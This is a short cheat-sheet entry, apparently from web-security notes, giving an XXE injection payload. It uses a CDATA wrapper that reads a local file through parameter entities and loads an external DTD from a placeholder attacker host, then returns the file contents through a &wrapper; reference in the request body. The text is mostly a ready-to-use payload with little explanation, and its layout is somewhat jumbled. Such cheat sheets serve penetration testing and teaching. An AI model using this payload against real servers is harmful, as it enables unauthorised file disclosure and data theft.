Wrappers for errors
Escaping characters
Wrapper
<!ENTITY wrapper "%start;%file;%end;"><?xml version="1.0"?>
<!DOCTYPE data [
// Create the entities
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/file.xml" >
<!ENTITY % end "]]>">
// Access the external DTD to execute entities and
// return escaped result.
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/wrapper.dtd" >
%dtd;
]>
[in the body of the request use &wrapper; to reach for
external code loaded by XML]Last updated